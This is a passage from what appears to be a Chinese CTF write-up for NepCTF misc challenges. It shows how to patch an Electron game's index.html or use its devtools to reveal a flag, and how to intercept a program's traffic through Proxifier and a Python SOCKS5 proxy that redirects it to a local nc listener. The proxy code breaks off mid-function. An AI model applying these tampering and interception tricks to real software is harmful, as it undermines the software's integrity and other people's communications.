&lt;&#x2F;span&gt;&lt;span&gt;flag &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xffffffffffffffffffffffffffffffff&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xffffffffffffffffffffffffffffffff&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;flag:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;bin&lt;&#x2F;span&gt;&lt;span&gt;(i)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:])
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;效果图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;misc1.png&quot; alt=&quot;misc1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;misc-bing-feng-li-xian-ji&quot;&gt;[misc] 冰峰历险记&lt;&#x2F;h1&gt;
&lt;p&gt;Electron程序，安装在&lt;code&gt;~\AppData\Local\Adventure&lt;&#x2F;code&gt;下，逆向&lt;code&gt;app-1.0.0&#x2F;resources&#x2F;app&#x2F;index.html&lt;&#x2F;code&gt;。将失败的函数注释掉即可不死。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;misc2.png&quot; alt=&quot;misc2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在比对输入的函数中，加上输出语句即可得到flag。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;misc4.png&quot; alt=&quot;misc4&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;游戏中&lt;code&gt;ctrl+shift+i&lt;&#x2F;code&gt;打开控制台，即可得到flag。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;misc3.png&quot; alt=&quot;misc3&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;misc-wo-shi-jian-die-2nd&quot;&gt;[misc] 我是间谍2nd&lt;&#x2F;h1&gt;
&lt;p&gt;目标是伪造与&lt;code&gt;223.223.223.223:6001&lt;&#x2F;code&gt;通信。&lt;&#x2F;p&gt;
&lt;p&gt;可以通过&lt;code&gt;Proxifier&lt;&#x2F;code&gt;添加规则，让它走向自己的&lt;code&gt;python&lt;&#x2F;code&gt;的&lt;code&gt;sock5&lt;&#x2F;code&gt;代理服务器，将其转发至本机&lt;code&gt;1234&lt;&#x2F;code&gt;端口，提前打开&lt;code&gt;nc&lt;&#x2F;code&gt;服务器即可。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;select
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;socket
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;struct
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;socketserver &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;StreamRequestHandler, ThreadingTCPServer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;SOCKS_VERSION &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;color:#ffc66d;&quot;&gt;SocksProxy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;text-decoration:underline;font-style:italic;color:#ffc66d;&quot;&gt;StreamRequestHandler&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;handle&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Accepting connection from &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.format(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.client_address))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 协商
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 从客户端读取并解包两个字节的数据
&lt;&#x2F;span&gt;&lt;span&gt;        header &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        version, nmethods &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;struct.unpack(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;!BB&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, header)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 设置socks5协议，METHODS字段的数目大于0
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;version &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;SOCKS_VERSION
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;nmethods &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 接受支持的方法
&lt;&#x2F;span&gt;&lt;span&gt;        methods &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.get_available_methods(nmethods)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 无需认证
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;not in &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt;(methods):
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.server.close_request(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.request)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 发送协商响应数据包
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.sendall(struct.pack(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;!BB&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;SOCKS_VERSION&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 请求
&lt;&#x2F;span&gt;&lt;span&gt;        version, cmd, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, address_type &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;struct.unpack(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;!BBBB&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;version &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;SOCKS_VERSION
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;address_type &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# IPv4
&lt;&#x2F;span&gt;&lt;span&gt;            address &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;socket.inet_ntoa(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span&gt;address_type &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;:  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Domain name
&lt;&#x2F;span&gt;&lt;span&gt;            domain_length &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;            address &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.recv(domain_length)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#address = socket.gethostbyname(address.decode(&amp;quot;UTF-8&amp;quot;))  # 将域名转化为IP，这一行可以去掉
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;elif &lt;&#x2F;span&gt;&lt;span&gt;address_type &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# IPv6
&lt;&#x2F;span&gt;&lt;span&gt;            addr_ip &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;            address &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;socket.inet_ntop(socket.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;AF_INET6&lt;&#x2F;span&gt;&lt;span&gt;, addr_ip)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.server.close_request(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.request)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return
&lt;&#x2F;span&gt;&lt;span&gt;        port &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;struct.unpack(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;!H&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;))[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 响应，只支持CONNECT请求
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;try&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;cmd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# CONNECT
&lt;&#x2F;span&gt;&lt;span&gt;                remote &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;socket.socket(socket.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;AF_INET&lt;&#x2F;span&gt;&lt;span&gt;, socket.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;SOCK_STREAM&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;223.223.223.223&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;                    address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;127.0.0.1&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;                    port&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1234
&lt;&#x2F;span&gt;&lt;span&gt;                remote.connect((address, port))
&lt;&#x2F;span&gt;&lt;span&gt;                bind_address &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote.getsockname()
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Connected to &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{} {}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.format(address, port))
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.server.close_request(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.request)
&lt;&#x2F;span&gt;&lt;span&gt;            addr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;struct.unpack(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;!I&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, socket.inet_aton(bind_address[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]))[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;            port &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;bind_address[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;            reply &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;struct.pack(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;!BBBBIH&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;SOCKS_VERSION&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, addr, port)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;except &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;Exception &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;err:
&lt;&#x2F;span&gt;&lt;span&gt;            logging.error(err)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 响应拒绝连接的错误
&lt;&#x2F;span&gt;&lt;span&gt;            reply &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.generate_failed_reply(address_type, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.sendall(reply)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 建立连接成功，开始交换数据
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;reply[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span&gt;cmd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.exchange_loop(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection, remote)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.server.close_request(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.request)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;get_available_methods&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        methods &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;[]
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(n):
&lt;&#x2F;span&gt;&lt;span&gt;            methods.append(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;.connection.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;methods
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;generate_failed_reply&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;address_type&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;error_number&lt;&#x2F;span&gt;&lt;span&gt;):
